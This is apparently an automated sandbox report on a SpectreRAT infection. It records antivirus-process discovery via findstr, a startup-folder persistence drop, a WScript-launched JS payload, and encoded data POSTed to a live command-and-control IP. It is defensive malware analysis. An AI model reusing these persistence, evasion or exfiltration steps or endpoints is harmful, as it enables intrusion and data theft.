Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" , ProcessId: 5592, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 6004, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4440, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 1372, ProcessName: findstr.exe

Suricata Signatures

ETPRO MALWARE Win32/Spectre RAT CnC Activity M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:05:21.959147+0100	2853767	1	Malware Command and Control Activity Detected	192.168.2.5	49864	178.215.224.74	80	TCP

ETPRO MALWARE Win32/SpectreRAT CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:05:21.959147+0100	2853768	1	A Network Trojan was detected	192.168.2.5	49864	178.215.224.74	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=d460800e784d2ac37a5620f6b348df6f*6&jwvs=4CA966315CCC70F4BEF0FE322EDE46	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=5	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?gi	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=7	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=8	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=3002&melq=79019141f392e1d4f8c60697fd9f5a0e*2&jwvs=4CA966315CCC70F4BEF0FE322EDE46	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=6h	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=6	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=2021&jwvs=4CA966315CCC70F4BEF0FE322EDE46	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.NNAME=ConsoleSh	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=2016&jwvs=4CA966315CCC70F4BEF0FE322EDE46&bsxa=1	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=60%	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=6T	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=6Q	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=31	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true	Avira URL Cloud: Label: malware
Source: http://178.215.224.252/v10/ukyh	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=7wk0	Avira URL Cloud: Label: malware
Source: http://178.215.224.252/v10/ukyh.php?jspo=6	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?uvyw=2	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=33&jwvs=4CA966315CCC70F4BEF0FE322EDE46	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.%	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?uvyw=6	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=6c	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=2022&jwvs=4CA966315CCC70F4BEF0FE322EDE46	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldml	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.c	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.php?jspo=3&jwvs=4CA966315CCC70F4BEF0FE322EDE46&vprl=2	Avira URL Cloud: Label: malware
Source: http://178.215.224.74/v10/ukyh.#	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe

ReversingLabs: Detection: 62%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: C.pdb source: azvw.exe, 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmp, nircmdc.exe.52.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_0041C29C FindFirstFileA,GetDriveTypeA,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,	52_2_0041C29C
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_004107A0 FindFirstFileA,	52_2_004107A0
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_004062D5 FindFirstFileW,FindClose,	88_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_00402E18 FindFirstFileW,	88_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	88_2_00406C9B

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\768032	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\768032\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2853767 - Severity 1 - ETPRO MALWARE Win32/Spectre RAT CnC Activity M1 : 192.168.2.5:49864 -> 178.215.224.74:80
Source: Network traffic	Suricata IDS: 2853768 - Severity 1 - ETPRO MALWARE Win32/SpectreRAT CnC Activity M2 : 192.168.2.5:49864 -> 178.215.224.74:80

Source: Joe Sandbox View

IP Address: 178.215.224.252 178.215.224.252

Source: Joe Sandbox View

ASN Name: LVLT-10753US LVLT-10753US

Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 639Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 6a 45 38 4b 45 45 79 58 46 64 78 5a 33 42 78 58 6d 46 75 62 6d 64 73 63 56 78 44 63 48 42 45 59 58 52 68 58 6c 70 74 59 57 31 70 62 47 56 63 52 47 31 73 63 47 68 72 62 6b 78 31 62 33 4a 7a 58 44 41 35 4d 44 49 79 52 54 41 79 4c 7a 42 44 4d 44 49 6c 4e 6a 55 78 4f 79 38 30 4f 30 49 37 57 55 4a 66 4d 7a 49 77 4b 44 6b 34 4d 6a 73 7a 4b 48 64 70 62 6d 52 76 64 33 45 6f 5a 6d 56 6d 5a 57 78 6d 5a 58 4a 5a 51 46 30 78 4d 6a 41 69 4d 54 49 79 4d 54 41 6f 4d 54 55 36 4c 44 49 7a 4e 79 77 79 4d 6a 51 73 4f 6a 63 79 57 30 68 66 4d 7a 67 77 4b 44 4d 79 4d 6a 4d 77 4b 6a 4d 25 32 46 4d 43 77 77 4d 54 63 75 4d 6a 49 30 4c 6a 63 32 55 30 4a 64 4d 54 41 79 4b 44 45 77 4d 6a 45 78 4b 6a 4d 33 4d 43 34 77 4d 7a 55 75 4d 44 49 32 4c 44 55 30 57 55 4a 66 4d 69 6f 79 4d 6a 30 6f 51 7a 70 55 56 33 46 74 63 6e 46 65 59 32 35 6b 62 57 35 78 56 45 6c 79 63 6b 52 6a 64 47 46 63 55 6d 39 68 62 32 46 73 5a 31 78 45 62 57 35 77 61 47 74 75 52 48 56 76 63 48 74 63 59 33 68 32 64 79 78 6c 65 6d 64 5a 51 46 38 7a 4d 6a 41 71 4d 54 49 34 4d 7a 45 71 4f 54 55 36 4a 6a 49 7a 4e 79 77 77 4d 44 59 75 4e 54 78 54 51 6c 38 79 4b 44 49 77 4e 53 70 44 4f 6c 35 64 63 57 56 79 63 31 35 6a 62 47 5a 74 62 6e 4e 63 51 33 42 34 52 47 4e 32 59 56 78 51 62 32 4e 76 61 32 35 6c 58 6b 5a 76 62 48 42 71 59 57 78 45 64 57 56 79 63 56 52 34 61 6e 56 7a 4c 48 68 72 63 46 6c 49 56 54 4d 79 4d 43 67 78 4d 44 45 79 4d 79 70 42 4d 6c 35 56 63 32 56 77 63 56 78 68 62 6d 5a 76 62 6e 46 63 53 58 42 79 52 6d 46 30 59 31 78 51 62 57 4e 74 61 32 78 6c 58 45 52 76 62 6e 68 71 61 57 35 4d 64 32 39 34 63 31 35 36 61 6e 56 7a 4c 48 70 72 65 46 4e 43 58 7a 45 79 4d 43 6f 78 4d 44 41 78 4d 79 49 7a 4e 7a 67 75 4d 44 4d 31 4c 6a 41 79 4e 43 34 31 4e 46 4e 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAwKDkyMjE8KEEyXFdxZ3BxXmFubmdscVxDcHBEYXRhXlptYW1pbGVcRG1scGhrbkx1b3JzXDA5MDIyRTAyLzBDMDIlNjUxOy80O0I7WUJfMzIwKDk4MjszKHdpbmRvd3EoZmVmZWxmZXJZQF0xMjAiMTIyMTAoMTU6LDIzNywyMjQsOjcyW0hfMzgwKDMyMjMwKjM%2FMCwwMTcuMjI0Ljc2U0JdMTAyKDEwMjExKjM3MC4wMzUuMDI2LDU0WUJfMioyMj0oQzpUV3FtcnFeY25kbW5xVElyckRjdGFcUm9hb2FsZ1xEbW5waGtuRHVvcHtcY3h2dyxlemdZQF8zMjAqMTI4MzEqOTU6JjIzNywwMDYuNTxTQl8yKDIwNSpDOl5dcWVyc15jbGZtbnNcQ3B4RGN2YVxQb2Nva25lXkZvbHBqYWxEdWVycVR4anVzLHhrcFlIVTMyMCgxMDEyMypBMl5Vc2VwcVxhbmZvbnFcSXByRmF0Y1xQbWNta2xlXERvbnhqaW5Md294c156anVzLHpreFNCXzEyMCoxMDAxMyIzNzguMDM1LjAyNC41NFNAXw%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 247Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 34 33 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 74 4d 44 35 5a 51 46 31 4c 52 6c 6c 49 58 54 6f 73 4e 6a 51 73 4d 7a 49 78 4a 6a 38 33 57 55 42 66 4d 54 41 75 4d 44 45 33 4d 6a 67 79 57 30 42 64 51 54 68 63 56 58 46 6c 63 6e 4e 65 59 57 52 6d 62 57 78 7a 58 45 4e 77 63 6b 5a 6a 64 47 4e 65 54 6d 39 6a 59 57 35 55 56 6d 56 74 65 46 34 31 50 6a 67 79 4d 54 42 65 52 47 74 75 61 33 74 67 4c 47 46 76 62 31 74 41 58 55 4d 36 58 46 64 37 5a 33 4a 7a 58 47 4e 75 5a 6d 39 73 63 31 78 42 63 6e 42 4d 59 58 5a 6a 58 45 78 74 59 32 4e 75 58 6c 52 6e 62 33 4a 63 4e 7a 59 36 4f 44 45 79 58 45 35 72 62 47 46 7a 61 69 78 68 62 57 38 25 33 44 Data Ascii: jspo=43&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAtMD5ZQF1LRllIXTosNjQsMzIxJj83WUBfMTAuMDE3MjgyW0BdQThcVXFlcnNeYWRmbWxzXENwckZjdGNeTm9jYW5UVmVteF41PjgyMTBeRGtua3tgLGFvb1tAXUM6XFd7Z3JzXGNuZm9sc1xBcnBMYXZjXExtY2NuXlRnb3JcNzY6ODEyXE5rbGFzaixhbW8%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 521Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 30 6f 57 30 42 56 4d 7a 49 34 4b 6a 4d 79 4d 6a 4d 7a 4b 44 45 31 4d 43 59 77 4d 7a 55 73 4d 6a 49 30 4c 6a 63 30 57 55 68 66 4d 54 41 7a 4b 44 4d 77 4d 6a 49 31 4b 6c 4a 6e 64 6d 31 75 64 32 64 45 5a 58 52 70 59 57 64 78 4c 6d 64 36 5a 31 74 41 58 54 4d 34 4d 69 6f 78 4f 44 49 7a 4f 53 6f 7a 4e 54 6f 73 4d 44 4d 31 4c 44 6f 36 4e 69 77 33 4e 6c 74 41 58 54 49 71 4d 6a 49 39 4b 45 4d 36 58 46 64 78 5a 58 4a 78 58 47 46 73 5a 47 39 6d 63 31 35 44 63 48 42 47 59 58 5a 6a 58 6b 78 74 59 57 4e 73 58 48 52 6e 5a 58 4a 63 55 6d 31 30 5a 32 5a 31 5a 30 5a 6e 64 47 74 68 5a 58 45 6d 62 58 70 6e 57 30 4a 64 4f 43 6f 78 4d 44 4d 6f 53 7a 68 63 56 58 4e 6e 63 48 4e 63 59 32 78 6d 62 32 78 7a 56 45 46 79 63 6b 52 68 64 6d 46 65 54 6d 31 6a 59 32 35 65 64 47 56 74 63 6c 52 51 5a 58 5a 74 62 48 64 74 52 47 64 30 61 32 46 6e 63 53 35 6e 63 47 31 5a 51 6c 30 7a 4d 44 41 71 4e 69 70 62 51 6c 55 7a 4d 44 41 71 4d 7a 49 77 4d 54 4d 71 4d 54 63 36 4c 6a 6f 78 4e 79 77 79 4d 6a 59 75 4e 54 5a 5a 51 46 38 7a 4d 6a 41 71 4d 54 49 34 4d 7a 4d 71 4f 54 64 5a 53 46 30 7a 4d 6a 49 6f 4d 7a 49 77 4d 7a 6b 69 4d 7a 55 34 4c 44 49 78 4e 53 34 79 4d 6a 59 6d 4e 54 52 62 51 46 38 7a 4d 44 4d 6f 4d 54 41 79 4d 6a 49 69 55 6d 64 30 5a 57 35 33 5a 55 5a 6e 64 47 6c 68 5a 33 45 75 5a 58 68 6e 55 30 4a 64 4d 54 67 79 4b 44 6b 77 4d 6a 4d 7a 4b 44 4d 31 4f 43 77 36 4f 54 63 73 4d 6a 41 30 4c 6a 63 30 57 30 42 66 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAwKD0oW0BVMzI4KjMyMjMzKDE1MCYwMzUsMjI0Ljc0WUhfMTAzKDMwMjI1KlJndm1ud2dEZXRpYWdxLmd6Z1tAXTM4MioxODIzOSozNTosMDM1LDo6Niw3NltAXTIqMjI9KEM6XFdxZXJxXGFsZG9mc15DcHBGYXZjXkxtYWNsXHRnZXJcUm10Z2Z1Z0ZndGthZXEmbXpnW0JdOCoxMDMoSzhcVXNncHNcY2xmb2xzVEFyckRhdmFeTm1jY25edGVtclRQZXZtbHdtRGd0a2FncS5ncG1ZQl0zMDAqNipbQlUzMDAqMzIwMTMqMTc6LjoxNywyMjYuNTZZQF8zMjAqMTI4MzMqOTdZSF0zMjIoMzIwMzkiMzU4LDIxNS4yMjYmNTRbQF8zMDMoMTAyMjIiUmd0ZW53ZUZndGlhZ3EuZXhnU0JdMTgyKDkwMjMzKDM1OCw6OTcsMjA0Ljc0W0Bf
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 434Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 39 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 59 57 78 6d 62 57 5a 78 57 30 42 56 54 56 45 6f 54 6d 4e 76 5a 7a 67 69 49 69 41 69 4b 43 67 69 49 69 41 69 49 43 41 67 49 43 41 67 49 69 67 69 54 57 6c 6a 63 47 31 7a 62 32 52 30 49 46 64 72 62 6d 78 76 64 58 45 67 4d 54 49 67 55 6e 42 74 57 30 4a 66 4d 7a 41 75 4d 44 4d 25 32 46 4d 6a 41 77 55 30 4a 66 4f 44 59 30 4e 44 63 30 57 55 4a 64 51 54 4a 55 56 33 46 6c 63 48 4e 63 59 57 78 6d 62 32 78 37 58 6b 46 77 63 45 5a 6a 64 47 46 65 54 47 39 6a 59 32 78 55 56 47 64 76 63 46 77 31 4e 6a 6f 79 4d 54 4a 65 52 47 74 75 61 58 4e 71 4a 6d 46 76 62 56 4e 43 58 30 73 36 58 6c 64 78 5a 33 42 78 58 47 4e 6b 62 6d 31 73 63 31 35 42 63 48 42 45 59 58 52 6a 56 45 35 76 59 32 46 75 58 6c 52 6c 62 33 42 63 4e 7a 51 34 4f 44 4d 77 58 6b 5a 70 62 47 6c 78 61 69 78 6a 62 57 39 5a 51 46 30 78 4d 69 55 77 4e 6c 74 49 58 30 46 4d 57 30 4a 66 64 6e 42 33 5a 31 74 43 56 57 35 6a 62 6e 4e 6e 57 30 42 64 4f 43 34 30 4e 43 59 7a 4d 6a 4d 75 4e 54 64 62 51 46 39 62 51 46 31 42 4f 6c 52 56 63 57 64 79 63 31 35 68 62 6d 52 74 62 6e 46 65 51 33 42 77 52 47 4e 38 59 31 78 53 5a 32 4e 76 59 57 35 6c 58 6b 5a 74 62 6e 4a 6f 61 32 5a 4d 64 32 39 77 63 51 25 33 44 25 33 44 Data Ascii: jspo=9&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=YWxmbWZxW0BVTVEoTmNvZzgiIiAiKCgiIiAiICAgICAgIigiTWljcG1zb2R0IFdrbmxvdXEgMTIgUnBtW0JfMzAuMDM%2FMjAwU0JfODY0NDc0WUJdQTJUV3FlcHNcYWxmb2x7XkFwcEZjdGFeTG9jY2xUVGdvcFw1NjoyMTJeRGtuaXNqJmFvbVNCX0s6XldxZ3BxXGNkbm1sc15BcHBEYXRjVE5vY2FuXlRlb3BcNzQ4ODMwXkZpbGlxaixjbW9ZQF0xMiUwNltIX0FMW0JfdnB3Z1tCVW5jbnNnW0BdOC40NCYzMjMuNTdbQF9bQF1BOlRVcWdyc15hbmRtbnFeQ3BwRGN8Y1xSZ2NvYW5lXkZtbnJoa2ZMd29wcQ%3D%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 331Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 44 45 34 4b 44 4d 25 32 46 4f 43 77 77 4d 7a 63 73 4d 44 49 32 4a 6a 6f 33 4d 46 74 43 58 54 45 77 4d 43 6f 78 4d 6a 67 7a 4d 69 6f 78 4e 54 6f 75 4d 6a 4d 31 4c 6a 49 77 4e 43 59 33 4e 6c 6c 41 58 54 4d 77 4d 69 67 7a 4d 44 49 7a 4d 79 6f 78 4e 7a 6f 6d 4d 44 45 31 4a 6a 41 77 50 43 34 31 4e 6c 6c 43 58 7a 41 71 4d 44 67 39 4b 45 45 36 58 6c 56 7a 5a 58 4a 7a 58 47 4e 6b 5a 47 39 75 63 31 35 44 63 48 42 47 59 58 52 68 58 6c 4a 6e 59 57 39 72 62 6d 64 65 52 47 31 75 63 6d 68 72 62 45 5a 31 62 58 42 78 56 48 4e 35 64 58 67 73 65 47 46 77 57 55 4a 66 4d 7a 49 79 4b 6a 4d 34 4f 54 41 78 4b 6b 45 36 58 46 56 7a 5a 58 4a 78 56 47 4e 73 5a 6d 39 73 63 56 78 42 63 6e 42 45 59 58 5a 68 56 46 4a 74 59 32 31 70 62 47 64 65 52 6d 31 73 63 6d 70 72 62 6b 52 31 62 33 68 78 58 48 46 78 64 33 49 6d 65 6d 74 79 57 55 4a 66 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAwKDkyMDE4KDM%2FOCwwMzcsMDI2Jjo3MFtCXTEwMCoxMjgzMioxNTouMjM1LjIwNCY3NllAXTMwMigzMDIzMyoxNzomMDE1JjAwPC41NllCXzAqMDg9KEE6XlVzZXJzXGNkZG9uc15DcHBGYXRhXlJnYW9rbmdeRG1ucmhrbEZ1bXBxVHN5dXgseGFwWUJfMzIyKjM4OTAxKkE6XFVzZXJxVGNsZm9scVxBcnBEYXZhVFJtY21pbGdeRm1scmprbkR1b3hxXHFxd3ImemtyWUJf
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 833Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 1701Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 131Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 49 33 4b 44 6b 7a 4d 43 70 4c 4f 46 35 64 63 32 64 77 63 56 35 6a 62 6d 5a 74 5a 6e 74 65 51 33 42 79 52 47 46 30 59 56 78 53 62 57 6c 76 61 57 35 6e 58 6b 39 76 65 6d 74 73 62 47 46 65 52 6d 46 79 5a 32 52 76 65 46 35 62 51 6c 38 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTI3KDkzMCpLOF5dc2dwcV5jbmZtZnteQ3ByRGF0YVxSbWlvaW5nXk9vemtsbGFeRmFyZ2RveF5bQl8%3D
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php?uvyw=6 HTTP/1.1Content-Type: multipart/form-data; boundary=----974767299852498929531610575User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 29950Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php?uvyw=2 HTTP/1.1Content-Type: multipart/form-data; boundary=----974767299852498929531610575User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 699317Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 367Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 49 33 4b 44 6b 79 4d 69 70 4c 4f 46 35 64 63 32 64 77 63 56 35 6a 62 6d 5a 74 5a 6e 74 65 51 33 42 79 52 47 46 30 59 56 78 53 62 57 6c 76 61 57 35 6e 58 6b 5a 76 62 48 4a 6f 61 57 35 47 64 57 56 77 63 56 34 30 51 30 4d 35 4e 44 51 78 4d 54 64 42 51 55 4d 33 4d 45 51 38 51 45 56 47 4f 45 52 48 4f 7a 49 77 52 30 5a 48 4e 6a 52 66 5a 47 34 6d 4e 58 68 62 51 6c 30 78 4d 44 41 71 4d 54 49 34 4d 7a 45 71 4d 54 55 36 4c 6a 49 7a 4e 53 34 79 4d 44 51 6d 4e 7a 5a 5a 51 46 30 7a 4d 6a 41 6f 4d 7a 41 77 4b 45 45 36 58 46 56 78 62 58 42 7a 58 47 6c 75 5a 47 64 75 63 56 35 44 63 6e 4a 47 59 58 5a 70 56 46 42 74 59 57 39 70 62 6d 64 63 52 47 39 75 65 47 70 70 62 6b 52 33 62 33 42 7a 58 6a 52 44 51 54 73 32 50 6a 4d 7a 4e 30 4e 44 51 54 63 79 52 44 5a 43 52 30 51 79 52 6b 